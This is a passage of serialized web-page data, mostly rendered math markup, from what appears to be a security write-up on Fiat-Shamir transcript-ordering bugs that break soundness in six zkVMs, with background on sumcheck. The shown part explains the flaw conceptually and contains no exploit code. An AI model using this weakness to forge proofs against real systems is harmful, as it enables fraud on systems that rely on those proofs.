output",{"type":24,"tag":1790,"props":109625,"children":109626},{},[109627,109652],{"type":24,"tag":154,"props":109628,"children":109630},{"className":109629},[5642,5643],[109631],{"type":24,"tag":158,"props":109632,"children":109634},{"className":109633},[5648],[109635],{"type":24,"tag":158,"props":109636,"children":109638},{"className":109637,"ariaHidden":3185},[5653],[109639],{"type":24,"tag":158,"props":109640,"children":109642},{"className":109641},[5658],[109643,109647],{"type":24,"tag":158,"props":109644,"children":109646},{"className":109645,"style":22827},[5663],[],{"type":24,"tag":158,"props":109648,"children":109650},{"className":109649,"style":22833},[5669,22832],[109651],{"type":29,"value":7637},{"type":29,"value":109653}," = private witness/trace (registers, memory history, intermediate values)",{"type":24,"tag":25,"props":109655,"children":109656},{},[109657,109659,109663],{"type":29,"value":109658},"The verifier does ",{"type":24,"tag":897,"props":109660,"children":109661},{},[109662],{"type":29,"value":19729},{"type":29,"value":109664}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":24,"tag":25,"props":109666,"children":109667},{},[109668,109670,109675],{"type":29,"value":109669},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":24,"tag":897,"props":109671,"children":109672},{},[109673],{"type":29,"value":109674},"soundness",{"type":29,"value":225},{"type":24,"tag":17924,"props":109677,"children":109678},{},[109679,109689],{"type":24,"tag":1790,"props":109680,"children":109681},{},[109682,109687],{"type":24,"tag":897,"props":109683,"children":109684},{},[109685],{"type":29,"value":109686},"Completeness",{"type":29,"value":109688},": honest execution verifies.",{"type":24,"tag":1790,"props":109690,"children":109691},{},[109692,109697],{"type":24,"tag":897,"props":109693,"children":109694},{},[109695],{"type":29,"value":109696},"Soundness",{"type":29,"value":109698},": false execution should not verify.",{"type":24,"tag":25,"props":109700,"children":109701},{},[109702,109704,109708],{"type":29,"value":109703},"We are breaking ",{"type":24,"tag":897,"props":109705,"children":109706},{},[109707],{"type":29,"value":109674},{"type":29,"value":109709}," in all six systems.",{"type":24,"tag":25,"props":109711,"children":109712},{},[109713],{"type":29,"value":109714},"In all six codebases, verification follows this abstract flow:",{"type":24,"tag":1786,"props":109716,"children":109717},{},[109718,109723,109728,109733,109738,109743],{"type":24,"tag":1790,"props":109719,"children":109720},{},[109721],{"type":29,"value":109722},"Fix public statement data.",{"type":24,"tag":1790,"props":109724,"children":109725},{},[109726],{"type":29,"value":109727},"Parse proof payload (commitments, reduction messages, openings).",{"type":24,"tag":1790,"props":109729,"children":109730},{},[109731],{"type":29,"value":109732},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":24,"tag":1790,"props":109734,"children":109735},{},[109736],{"type":29,"value":109737},"Check constraint equations at sampled points.",{"type":24,"tag":1790,"props":109739,"children":109740},{},[109741],{"type":29,"value":109742},"Check PCS/opening consistency.",{"type":24,"tag":1790,"props":109744,"children":109745},{},[109746],{"type":29,"value":109747},"Accept only if all checks are jointly consistent.",{"type":24,"tag":25,"props":109749,"children":109750},{},[109751],{"type":24,"tag":84,"props":109752,"children":109755},{"alt":109753,"src":109754},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":24,"tag":25,"props":109757,"children":109758},{},[109759],{"type":29,"value":109760},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":24,"tag":20034,"props":109762,"children":109763},{},[],{"type":24,"tag":59,"props":109765,"children":109767},{"id":109766},"the-building-blocks",[109768],{"type":29,"value":109769},"The Building Blocks",{"type":24,"tag":25,"props":109771,"children":109772},{},[109773],{"type":29,"value":109774},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":24,"tag":395,"props":109776,"children":109778},{"id":109777},"the-fiat-shamir-transform",[109779],{"type":29,"value":109780},"The Fiat-Shamir Transform",{"type":24,"tag":25,"props":109782,"children":109783},{},[109784],{"type":29,"value":109785},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":24,"tag":25,"props":109787,"children":109788},{},[109789],{"type":29,"value":109790},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":24,"tag":25,"props":109792,"children":109793},{},[109794],{"type":24,"tag":84,"props":109795,"children":109798},{"alt":109796,"src":109797},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":24,"tag":25,"props":109800,"children":109801},{},[109802,109804,109808,109810,109815],{"type":29,"value":109803},"The hash (transcript) ",{"type":24,"tag":897,"props":109805,"children":109806},{},[109807],{"type":29,"value":8168},{"type":29,"value":109809}," include everything that affects verification ",{"type":24,"tag":897,"props":109811,"children":109812},{},[109813],{"type":29,"value":109814},"BEFORE",{"type":29,"value":109816}," the challenges derived from it are used.",{"type":24,"tag":25,"props":109818,"children":109819},{},[109820,109822,109848,109850,109875,109877,109902,109904,109929,109931,109956],{"type":29,"value":109821},"If some value ",{"type":24,"tag":154,"props":109823,"children":109825},{"className":109824},[5642,5643],[109826],{"type":24,"tag":158,"props":109827,"children":109829},{"className":109828},[5648],[109830],{"type":24,"tag":158,"props":109831,"children":109833},{"className":109832,"ariaHidden":3185},[5653],[109834],{"type":24,"tag":158,"props":109835,"children":109837},{"className":109836},[5658],[109838,109842],{"type":24,"tag":158,"props":109839,"children":109841},{"className":109840,"style":22827},[5663],[],{"type":24,"tag":158,"props":109843,"children":109845},{"className":109844,"style":109523},[5669,22832],[109846],{"type":29,"value":109847},"V",{"type":29,"value":109849}," affects a verification equation, but ",{"type":24,"tag":154,"props":109851,"children":109853},{"className":109852},[5642,5643],[109854],{"type":24,"tag":158,"props":109855,"children":109857},{"className":109856},[5648],[109858],{"type":24,"tag":158,"props":109859,"children":109861},{"className":109860,"ariaHidden":3185},[5653],[109862],{"type":24,"tag":158,"props":109863,"children":109865},{"className":109864},[5658],[109866,109870],{"type":24,"tag":158,"props":109867,"children":109869},{"className":109868,"style":22827},[5663],[],{"type":24,"tag":158,"props":109871,"children":109873},{"className":109872,"style":109523},[5669,22832],[109874],{"type":29,"value":109847},{"type":29,"value":109876}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":24,"tag":154,"props":109878,"children":109880},{"className":109879},[5642,5643],[109881],{"type":24,"tag":158,"props":109882,"children":109884},{"className":109883},[5648],[109885],{"type":24,"tag":158,"props":109886,"children":109888},{"className":109887,"ariaHidden":3185},[5653],[109889],{"type":24,"tag":158,"props":109890,"children":109892},{"className":109891},[5658],[109893,109897],{"type":24,"tag":158,"props":109894,"children":109896},{"className":109895,"style":22827},[5663],[],{"type":24,"tag":158,"props":109898,"children":109900},{"className":109899,"style":109523},[5669,22832],[109901],{"type":29,"value":109847},{"type":29,"value":109903},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":24,"tag":154,"props":109905,"children":109907},{"className":109906},[5642,5643],[109908],{"type":24,"tag":158,"props":109909,"children":109911},{"className":109910},[5648],[109912],{"type":24,"tag":158,"props":109913,"children":109915},{"className":109914,"ariaHidden":3185},[5653],[109916],{"type":24,"tag":158,"props":109917,"children":109919},{"className":109918},[5658],[109920,109924],{"type":24,"tag":158,"props":109921,"children":109923},{"className":109922,"style":22827},[5663],[],{"type":24,"tag":158,"props":109925,"children":109927},{"className":109926,"style":109523},[5669,22832],[109928],{"type":29,"value":109847},{"type":29,"value":109930},", which may allow it to choose ",{"type":24,"tag":154,"props":109932,"children":109934},{"className":109933},[5642,5643],[109935],{"type":24,"tag":158,"props":109936,"children":109938},{"className":109937},[5648],[109939],{"type":24,"tag":158,"props":109940,"children":109942},{"className":109941,"ariaHidden":3185},[5653],[109943],{"type":24,"tag":158,"props":109944,"children":109946},{"className":109945},[5658],[109947,109951],{"type":24,"tag":158,"props":109948,"children":109950},{"className":109949,"style":22827},[5663],[],{"type":24,"tag":158,"props":109952,"children":109954},{"className":109953,"style":109523},[5669,22832],[109955],{"type":29,"value":109847},{"type":29,"value":109957}," exactly so that the verification passes, even though it should not.",{"type":24,"tag":25,"props":109959,"children":109960},{},[109961],{"type":29,"value":109962},"This is the bug class we found in all six systems.",{"type":24,"tag":395,"props":109964,"children":109966},{"id":109965},"the-sumcheck-protocol",[109967],{"type":29,"value":109968},"The Sumcheck Protocol",{"type":24,"tag":25,"props":109970,"children":109971},{},[109972,109974,110060],{"type":29,"value":109973},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":24,"tag":154,"props":109975,"children":109977},{"className":109976},[5642,5643],[109978],{"type":24,"tag":158,"props":109979,"children":109981},{"className":109980},[5648],[109982],{"type":24,"tag":158,"props":109983,"children":109985},{"className":109984,"ariaHidden":3185},[5653],[109986],{"type":24,"tag":158,"props":109987,"children":109989},{"className":109988},[5658],[109990,109994,109999,110004,110009,110013,110018],{"type":24,"tag":158,"props":109991,"children":109993},{"className":109992,"style":5771},[5663],[],{"type":24,"tag":158,"props":109995,"children":109997},{"className":109996},[22961],[109998],{"type":29,"value":77896},{"type":24,"tag":158,"props":110000,"children":110002},{"className":110001},[5669],[110003],{"type":29,"value":5682},{"type":24,"tag":158,"props":110005,"children":110007},{"className":110006},[5782],[110008],{"type":29,"value":5785},{"type":24,"tag":158,"props":110010,"children":110012},{"className":110011,"style":5789},[5750],[],{"type":24,"tag":158,"props":110014,"children":110016},{"className":110015},[5669],[110017],{"type":29,"value":5672},{"type":24,"tag":158,"props":110019,"children":110021},{"className":110020},[22983],[110022,110027],{"type":24,"tag":158,"props":110023,"children":110025},{"className":110024},[22983],[110026],{"type":29,"value":35403},{"type":24,"tag":158,"props":110028,"children":110030},{"className":110029},[5686],[110031],{"type":24,"tag":158,"props":110032,"children":110034},{"className":110033},[5691],[110035],{"type":24,"tag":158,"props":110036,"children":110038},{"className":110037},[5696],[110039],{"type":24,"tag":158,"props":110040,"children":110043},{"className":110041,"style":110042},[5701],"height:0.6644em;",[110044],{"type":24,"tag":158,"props":110045,"children":110046},{"style":5705},[110047,110051],{"type":24,"tag":158,"props":110048,"children":110050},{"className":110049,"style":5711},[5710],[],{"type":24,"tag":158,"props":110052,"children":110054},{"className":110053},[5716,5717,5718,5719],[110055],{"type":24,"tag":158,"props":110056,"children":110058},{"className":110057},[5669,22832,5719],[110059],{"type":29,"value":57676},{"type":29,"value":110061},"), i.e the claim:",{"type":24,"tag":25,"props":110063,"children":110064},{},[110065],{"type":24,"tag":154,"props":110066,"children":110068},{"className":110067},[5642,5643],[110069],{"type":24,"tag":158,"props":110070,"children":110072},{"className":110071},[5648],[110073],{"type":24,"tag":158,"props":110074,"children":110076},{"className":110075,"ariaHidden":3185},[5653],[110077,110103],{"type":24,"tag":158,"props":110078,"children":110080},{"className":110079},[5658],[110081,110085,110090,110094,110099],{"type":24,"tag":158,"props":110082,"children":110084},{"className":110083,"style":22827},[5663],[],{"type":24,"tag":158,"props":110086,"children":110088},{"className":110087,"style":94559},[5669,22832],[110089],{"type":29,"value":94562},{"type":24,"tag":158,"props":110091,"children":110093},{"className":110092,"style":5848},[5750],[],{"type":24,"tag":158,"props":110095,"children":110097},{"className":110096},[5853],[110098],{"type":29,"value":1285},{"type":24,"tag":158,"props":110100,"children":110102},{"className":110101,"style":5848},[5750],[],{"type":24,"tag":158,"props":110104,"children":110106},{"className":110105},[5658],[110107,110111,110261,110265,110408,110412,110419,110423,110567,110571,110577,110582,110639,110644,110648,110705,110710,110714,110720,110724,110729,110733,110791],{"type":24,"tag":158,"props":110108,"children":110110},{"className":110109,"style":22863},[5663],[],{"type":24,"tag":158,"props":110112,"children":110114},{"className":110113},[22868],[110115,110121],{"type":24,"tag":158,"props":110116,"children":110118},{"className":110117,"style":22875},[22868,22873,22874],[110119],{"type":29,"value":110120},"∑",{"type":24,"tag":158,"props":110122,"children":110124},{"className":110123},[5686],[110125],{"type":24,"tag":158,"props":110126,"children":110128},{"className":110127},[5691,22886],[110129,110250],{"type":24,"tag":158,"props":110130,"children":110132},{"className":110131},[5696],[110133,110245],{"type":24,"tag":158,"props":110134,"children":110136},{"className":110135,"style":22895},[5701],[110137],{"type":24,"tag":158,"props":110138,"children":110139},{"style":22899},[110140,110144],{"type":24,"tag":158,"props":110141,"children":110143},{"className":110142,"style":5711},[5710],[],{"type":24,"tag":158,"props":110145,"children":110147},{"className":110146},[5716,5717,5718,5719],[110148],{"type":24,"tag":158,"props":110149,"children":110151},{"className":110150},[5669,5719],[110152,110215,110220,110225,110230,110235,110240],{"type":24,"tag":158,"props":110153,"children":110155},{"className":110154},[5669,5719],[110156,110161],{"type":24,"tag":158,"props":110157,"children":110159},{"className":110158},[5669,22832,5719],[110160],{"type":29,"value":20518},{"type":24,"tag":158,"props":110162,"children":110164},{"className":110163},[5686],[110165],{"type":24,"tag":158,"props":110166,"children":110168},{"className":110167},[5691,22886],[110169,110203],{"type":24,"tag":158,"props":110170,"children":110172},{"className":110171},[5696],[110173,110198],{"type":24,"tag":158,"props":110174,"children":110177},{"className":110175,"style":110176},[5701],"height:0.3173em;",[110178],{"type":24,"tag":158,"props":110179,"children":110181},{"style":110180},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[110182,110187],{"type":24,"tag":158,"props":110183,"children":110186},{"className":110184,"style":110185},[5710],"height:2.5em;",[],{"type":24,"tag":158,"props":110188,"children":110192},{"className":110189},[5716,110190,110191,5719],"reset-size3","size1",[110193],{"type":24,"tag":158,"props":110194,"children":110196},{"className":110195},[5669,5719],[110197],{"type":29,"value":5672},{"type":24,"tag":158,"props":110199,"children":110201},{"className":110200},[22989],[110202],{"type":29,"value":22992},{"type":24,"tag":158,"props":110204,"children":110206},{"className":110205},[5696],[110207],{"type":24,"tag":158,"props":110208,"children":110211},{"className":110209,"style":110210},[5701],"height:0.143em;",[110212],{"type":24,"tag":158,"props":110213,"children":110214},{},[],{"type":24,"tag":158,"props":110216,"children":110218},{"className":110217},[5853,5719],[110219],{"type":29,"value":22939},{"type":24,"tag":158,"props":110221,"children":110223},{"className":110222},[22961,5719],[110224],{"type":29,"value":77896},{"type":24,"tag":158,"props":110226,"children":110228},{"className":110227},[5669,5719],[110229],{"type":29,"value":5682},{"type":24,"tag":158,"props":110231,"children":110233},{"className":110232},[5782,5719],[110234],{"type":29,"value":5785},{"type":24,"tag":158,"props":110236,"children":110238},{"className":110237},[5669,5719],[110239],{"type":29,"value":5672},{"type":24,"tag":158,"props":110241,"children":110243},{"className":110242},[22983,5719],[110244],{"type":29,"value":35403},{"type":24,"tag":158,"props":110246,"children":110248},{"className":110247},[22989],[110249],{"type":29,"value":22992},{"type":24,"tag":158,"props":110251,"children":110253},{"className":110252},[5696],[110254],{"type":24,"tag":158,"props":110255,"children":110257},{"className":110256,"style":23000},[5701],[110258],{"type":24,"tag":158,"props":110259,"children":110260},{},[],{"type":24,"tag":158,"props":110262,"children":110264},{"className":110263,"style":5789},[5750],[],{"type":24,"tag":158,"props":110266,"children":110268},{"className":110267},[22868],[110269,110274],{"type":24,"tag":158,"props":110270,"children":110272},{"className":110271,"style":22875},[22868,22873,22874],[110273],{"type":29,"value":110120},{"type":24,"tag":158,"props":110275,"children":110277},{"className":110276},[5686],[110278],{"type":24,"tag":158,"props":110279,"children":110281},{"className":110280},[5691,22886],[110282,110397],{"type":24,"tag":158,"props":110283,"children":110285},{"className":110284},[5696],[110286,110392],{"type":24,"tag":158,"props":110287,"children":110289},{"className":110288,"style":22895},[5701],[110290],{"type":24,"tag":158,"props":110291,"children":110292},{"style":22899},[110293,110297],{"type":24,"tag":158,"props":110294,"children":110296},{"className":110295,"style":5711},[5710],[],{"type":24,"tag":158,"props":110298,"children":110300},{"className":110299},[5716,5717,5718,5719],[110301],{"type":24,"tag":158,"props":110302,"children":110304},{"className":110303},[5669,5719],[110305,110362,110367,110372,110377,110382,110387],{"type":24,"tag":158,"props":110306,"children":110308},{"className":110307},[5669,5719],[110309,110314],{"type":24,"tag":158,"props":110310,"children":110312},{"className":110311},[5669,22832,5719],[110313],{"type":29,"value":20518},{"type":24,"tag":158,"props":110315,"children":110317},{"className":110316},[5686],[110318],{"type":24,"tag":158,"props":110319,"children":110321},{"className":110320},[5691,22886],[110322,110351],{"type":24,"tag":158,"props":110323,"children":110325},{"className":110324},[5696],[110326,110346],{"type":24,"tag":158,"props":110327,"children":110329},{"className":110328,"style":110176},[5701],[110330],{"type":24,"tag":158,"props":110331,"children":110332},{"style":110180},[110333,110337],{"type":24,"tag":158,"props":110334,"children":110336},{"className":110335,"style":110185},[5710],[],{"type":24,"tag":158,"props":110338,"children":110340},{"className":110339},[5716,110190,110191,5719],[110341],{"type":24,"tag":158,"props":110342,"children":110344},{"className":110343},[5669,5719],[110345],{"type":29,"value":4789},{"type":24,"tag":158,"props":110347,"children":110349},{"className":110348},[22989],[110350],{"type":29,"value":22992},{"type":24,"tag":158,"props":110352,"children":110354},{"className":110353},[5696],[110355],{"type":24,"tag":158,"props":110356,"children":110358},{"className":110357,"style":110210},[5701],[110359],{"type":24,"tag":158,"props":110360,"children":110361},{},[],{"type":24,"tag":158,"props":110363,"children":110365},{"className":110364},[5853,5719],[110366],{"type":29,"value":22939},{"type":24,"tag":158,"props":110368,"children":110370},{"className":110369},[22961,5719],[110371],{"type":29,"value":77896},{"type":24,"tag":158,"props":110373,"children":110375},{"className":110374},[5669,5719],[110376],{"type":29,"value":5682},{"type":24,"tag":158,"props":110378,"children":110380},{"className":110379},[5782,5719],[110381],{"type":29,"value":5785},{"type":24,"tag":158,"props":110383,"children":110385},{"className":110384},[5669,5719],[110386],{"type":29,"value":5672},{"type":24,"tag":158,"props":110388,"children":110390},{"className":110389},[22983,5719],[110391],{"type":29,"value":35403},{"type":24,"tag":158,"props":110393,"children":110395},{"className":110394},[22989],[110396],{"type":29,"value":22992},{"type":24,"tag":158,"props":110398,"children":110400},{"className":110399},[5696],[110401],{"type":24,"tag":158,"props":110402,"children":110404},{"className":110403,"style":23000},[5701],[110405],{"type":24,"tag":158,"props":110406,"children":110407},{},[],{"type":24,"tag":158,"props":110409,"children":110411},{"className":110410,"style":5789},[5750],[],{"type":24,"tag":158,"props":110413,"children":110416},{"className":110414},[110415],"minner",[110417],{"type":29,"value":110418},"⋯",{"type":24,"tag":158,"props":110420,"children":110422},{"className":110421,"style":5789},[5750],[],{"type":24,"tag":158,"props":110424,"children":110426},{"className":110425},[22868],[110427,110432],{"type":24,"tag":158,"props":110428,"children":110430},{"className":110429,"style":22875},[22868,22873,22874],[110431],{"type":29,"value":110120},{"type":24,"tag":158,"props":110433,"children":110435},{"className":110434},[5686],[110436],{"type":24,"tag":158,"props":110437,"children":110439},{"className":110438},[5691,22886],[110440,110556],{"type":24,"tag":158,"props":110441,"children":110443},{"className":110442},[5696],[110444,110551],{"type":24,"tag":158,"props":110445,"children":110447},{"className":110446,"style":22895},[5701],[110448],{"type":24,"tag":158,"props":110449,"children":110450},{"style":22899},[110451,110455],{"type":24,"tag":158,"props":110452,"children":110454},{"className":110453,"style":5711},[5710],[],{"type":24,"tag":158,"props":110456,"children":110458},{"className":110457},[5716,5717,5718,5719],[110459],{"type":24,"tag":158,"props":110460,"children":110462},{"className":110461},[5669,5719],[110463,110521,110526,110531,110536,110541,110546],{"type":24,"tag":158,"props":110464,"children":110466},{"className":110465},[5669,5719],[110467,110472],{"type":24,"tag":158,"props":110468,"children":110470},{"className":110469},[5669,22832,5719],[110471],{"type":29,"value":20518},{"type":24,"tag":158,"props":110473,"children":110475},{"className":110474},[5686],[110476],{"type":24,"tag":158,"props":110477,"children":110479},{"className":110478},[5691,22886],[110480,110510],{"type":24,"tag":158,"props":110481,"children":110483},{"className":110482},[5696],[110484,110505],{"type":24,"tag":158,"props":110485,"children":110488},{"className":110486,"style":110487},[5701],"height:0.1645em;",[110489],{"type":24,"tag":158,"props":110490,"children":110491},{"style":110180},[110492,110496],{"type":24,"tag":158,"props":110493,"children":110495},{"className":110494,"style":110185},[5710],[],{"type":24,"tag":158,"props":110497,"children":110499},{"className":110498},[5716,110190,110191,5719],[110500],{"type":24,"tag":158,"props":110501,"children":110503},{"className":110502},[5669,22832,5719],[110504],{"type":29,"value":57676},{"type":24,"tag":158,"props":110506,"children":110508},{"className":110507},[22989],[110509],{"type":29,"value":22992},{"type":24,"tag":158,"props":110511,"children":110513},{"className":110512},[5696],[110514],{"type":24,"tag":158,"props":110515,"children":110517},{"className":110516,"style":110210},[5701],[110518],{"type":24,"tag":158,"props":110519,"children":110520},{},[],{"type":24,"tag":158,"props":110522,"children":110524},{"className":110523},[5853,5719],[110525],{"type":29,"value":22939},{"type":24,"tag":158,"props":110527,"children":110529},{"className":110528},[22961,5719],[110530],{"type":29,"value":77896},{"type":24,"tag":158,"props":110532,"children":110534},{"className":110533},[5669,5719],[110535],{"type":29,"value":5682},{"type":24,"tag":158,"props":110537,"children":110539},{"className":110538},[5782,5719],[110540],{"type":29,"value":5785},{"type":24,"tag":158,"props":110542,"children":110544},{"className":110543},[5669,5719],[110545],{"type":29,"value":5672},{"type":24,"tag":158,"props":110547,"children":110549},{"className":110548},[22983,5719],[110550],{"type":29,"value":35403},{"type":24,"tag":158,"props":110552,"children":110554},{"className":110553},[22989],[110555],{"type":29,"value":22992},{"type":24,"tag":158,"props":110557,"children":110559},{"className":110558},[5696],[110560],{"type":24,"tag":158,"props":110561,"children":110563},{"className":110562,"style":23000},[5701],[110564],{"type":24,"tag":158,"props":110565,"children":110566},{},[],{"type":24,"tag":158,"props":110568,"children":110570},{"className":110569,"style":5789},[5750],[],{"type":24,"tag":158,"props":110572,"children":110574},{"className":110573,"style":94811},[5669,22832],[110575],{"type":29,"value":110576},"g",{"type":24,"tag":158,"props":110578,"children":110580},{"className":110579},[22961],[110581],{"type":29,"value":504},{"type":24,"tag":158,"props":110583,"children":110585},{"className":110584},[5669],[110586,110591],{"type":24,"tag":158,"props":110587,"children":110589},{"className":110588},[5669,22832],[110590],{"type":29,"value":20518},{"type":24,"tag":158,"props":110592,"children":110594},{"className":110593},[5686],[110595],{"type":24,"tag":158,"props":110596,"children":110598},{"className":110597},[5691,22886],[110599,110628],{"type":24,"tag":158,"props":110600,"children":110602},{"className":110601},[5696],[110603,110623],{"type":24,"tag":158,"props":110604,"children":110606},{"className":110605,"style":94377},[5701],[110607],{"type":24,"tag":158,"props":110608,"children":110609},{"style":94381},[110610,110614],{"type":24,"tag":158,"props":110611,"children":110613},{"className":110612,"style":5711},[5710],[],{"type":24,"tag":158,"props":110615,"children":110617},{"className":110616},[5716,5717,5718,5719],[110618],{"type":24,"tag":158,"props":110619,"children":110621},{"className":110620},[5669,5719],[110622],{"type":29,"value":5672},{"type":24,"tag":158,"props":110624,"children":110626},{"className":110625},[22989],[110627],{"type":29,"value":22992},{"type":24,"tag":158,"props":110629,"children":110631},{"className":110630},[5696],[110632],{"type":24,"tag":158,"props":110633,"children":110635},{"className":110634,"style":94408},[5701],[110636],{"type":24,"tag":158,"props":110637,"children":110638},{},[],{"type":24,"tag":158,"props":110640,"children":110642},{"className":110641},[5782],[110643],{"type":29,"value":5785},{"type":24,"tag":158,"props":110645,"children":110647},{"className":110646,"style":5789},[5750],[],{"type":24,"tag":158,"props":110649,"children":110651},{"className":110650},[5669],[110652,110657],{"type":24,"tag":158,"props":110653,"children":110655},{"className":110654},[5669,22832],[110656],{"type":29,"value":20518},{"type":24,"tag":158,"props":110658,"children":110660},{"className":110659},[5686],[110661],{"type":24,"tag":158,"props":110662,"children":110664},{"className":110663},[5691,22886],[110665,110694],{"type":24,"tag":158,"props":110666,"children":110668},{"className":110667},[5696],[110669,110689],{"type":24,"tag":158,"props":110670,"children":110672},{"className":110671,"style":94377},[5701],[110673],{"type":24,"tag":158,"props":110674,"children":110675},{"style":94381},[110676,110680],{"type":24,"tag":158,"props":110677,"children":110679},{"className":110678,"style":5711},[5710],[],{"type":24,"tag":158,"props":110681,"children":110683},{"className":110682},[5716,5717,5718,5719],[110684],{"type":24,"tag":158,"props":110685,"children":110687},{"className":110686},[5669,5719],[110688],{"type":29,"value":4789},{"type":24,"tag":158,"props":110690,"children":110692},{"className":110691},[22989],[110693],{"type":29,"value":22992},{"type":24,"tag":158,"props":110695,"children":110697},{"className":110696},[5696],[110698],{"type":24,"tag":158,"props":110699,"children":110701},{"className":110700,"style":94408},[5701],[110702],{"type":24,"tag":158,"props":110703,"children":110704},{},[],{"type":24,"tag":158,"props":110706,"children":110708},{"className":110707},[5782],[110709],{"type":29,"value":5785},{"type":24,"tag":158,"props":110711,"children":110713},{"className":110712,"style":5789},[5750],[],{"type":24,"tag":158,"props":110715,"children":110717},{"className":110716},[110415],[110718],{"type":29,"value":110719},"…",{"type":24,"tag":158,"props":110721,"children":110723},{"className":110722,"style":5789},[5750],[],{"type":24,"tag":158,"props":110725,"children":110727},{"className":110726},[5782],[110728],{"type":29,"value":5785},{"type":24,"tag":158,"props":110730,"children":110732},{"className":110731,"style":5789},[5750],[],{"type":24,"tag":158,"props":110734,"children":110736},{"className":110735},[5669],[110737,110742],{"type":24,"tag":158,"props":110738,"children":110740},{"className":110739},[5669,22832],[110741],{"type":29,"value":20518},{"type":24,"tag":158,"props":110743,"children":110745},{"className":110744},[5686],[110746],{"type":24,"tag":158,"props":110747,"children":110749},{"className":110748},[5691,22886],[110750,110780],{"type":24,"tag":158,"props":110751,"children":110753},{"className":110752},[5696],[110754,110775],{"type":24,"tag":158,"props":110755,"children":110758},{"className":110756,"style":110757},[5701],"height:0.1514em;",[110759],{"type":24,"tag":158,"props":110760,"children":110761},{"style":94381},[110762,110766],{"type":24,"tag":158,"props":110763,"children":110765},{"className":110764,"style":5711},[5710],[],{"type":24,"tag":158,"props":110767,"children":110769},{"className":110768},[5716,5717,5718,5719],[110770],{"type":24,"tag":158,"props":110771,"children":110773},{"className":110772},[5669,22832,5719],[110774],{"type":29,"value":57676},{"type":24,"tag":158,"props":110776,"children":110778},{"className":110777},[22989],[110779],{"type":29,"value":22992},{"type":24,"tag":158,"props":110781,"children":110783},{"className":110782},[5696],[110784],{"type":24,"tag":158,"props":110785,"children":110787},{"className":110786,"style":94408},[5701],[110788],{"type":24,"tag":158,"props":110789,"children":110790},{},[],{"type":24,"tag":158,"props":110792,"children":110794},{"className":110793},[22983],[110795],{"type":29,"value":521},{"type":24,"tag":25,"props":110797,"children":110798},{},[110799,110801,110862],{"type":29,"value":110800},"The naive approach would be for the verifier to compute all ",{"type":24,"tag":154,"props":110802,"children":110804},{"className":110803},[5642,5643],[110805],{"type":24,"tag":158,"props":110806,"children":110808},{"className":110807},[5648],[110809],{"type":24,"tag":158,"props":110810,"children":110812},{"className":110811,"ariaHidden":3185},[5653],[110813],{"type":24,"tag":158,"props":110814,"children":110816},{"className":110815},[5658],[110817,110821],{"type":24,"tag":158,"props":110818,"children":110820},{"className":110819,"style":110042},[5663],[],{"type":24,"tag":158,"props":110822,"children":110824},{"className":110823},[5669],[110825,110830],{"type":24,"tag":158,"props":110826,"children":110828},{"className":110827},[5669],[110829],{"type":29,"value":4789},{"type":24,"tag":158,"props":110831,"children":110833},{"className":110832},[5686],[110834],{"type":24,"tag":158,"props":110835,"children":110837},{"className":110836},[5691],[110838],{"type":24,"tag":158,"props":110839,"children":110841},{"className":110840},[5696],[110842],{"type":24,"tag":158,"props":110843,"children":110845},{"className":110844,"style":110042},[5701],[110846],{"type":24,"tag":158,"props":110847,"children":110848},{"style":5705},[110849,110853],{"type":24,"tag":158,"props":110850,"children":110852},{"className":110851,"style":5711},[5710],[],{"type":24,"tag":158,"props":110854,"children":110856},{"className":110855},[5716,5717,5718,5719],[110857],{"type":24,"tag":158,"props":110858,"children":110860},{"className":110859},[5669,22832,5719],[110861],{"type":29,"value":57676},{"type":29,"value":110863}," evaluations. This is exponentially expensive.",{"type":24,"tag":25,"props":110865,"children":110866},{},[110867,110869,110874],{"type":29,"value":110868},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":24,"tag":897,"props":110870,"children":110871},{},[110872],{"type":29,"value":110873},"only one",{"type":29,"value":347},{"type":24,"tag":25,"props":110876,"children":110877},{},[110878],{"type":24,"tag":84,"props":110879,"children":110882},{"alt":110880,"src":110881},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":24,"tag":25,"props":110884,"children":110885},{},[110886,110888,110980,110982,111167,111169,111194,111196,111274,111276,111355],{"type":29,"value":110887},"In each round, the prover must send a polynomial ",{"type":24,"tag":154,"props":110889,"children":110891},{"className":110890},[5642,5643],[110892],{"type":24,"tag":158,"props":110893,"children":110895},{"className":110894},[5648],[110896],{"type":24,"tag":158,"props":110897,"children":110899},{"className":110898,"ariaHidden":3185},[5653],[110900],{"type":24,"tag":158,"props":110901,"children":110903},{"className":110902},[5658],[110904,110908,110965,110970,110975],{"type":24,"tag":158,"props":110905,"children":110907},{"className":110906,"style":5771},[5663],[],{"type":24,"tag":158,"props":110909,"children":110911},{"className":110910},[5669],[110912,110917],{"type":24,"tag":158,"props":110913,"children":110915},{"className":110914,"style":94811},[5669,22832],[110916],{"type":29,"value":110576},{"type":24,"tag":158,"props":110918,"children":110920},{"className":110919},[5686],[110921],{"type":24,"tag":158,"props":110922,"children":110924},{"className":110923},[5691,22886],[110925,110954],{"type":24,"tag":158,"props":110926,"children":110928},{"className":110927},[5696],[110929,110949],{"type":24,"tag":158,"props":110930,"children":110932},{"className":110931,"style":94854},[5701],[110933],{"type":24,"tag":158,"props":110934,"children":110935},{"style":94858},[110936,110940],{"type":24,"tag":1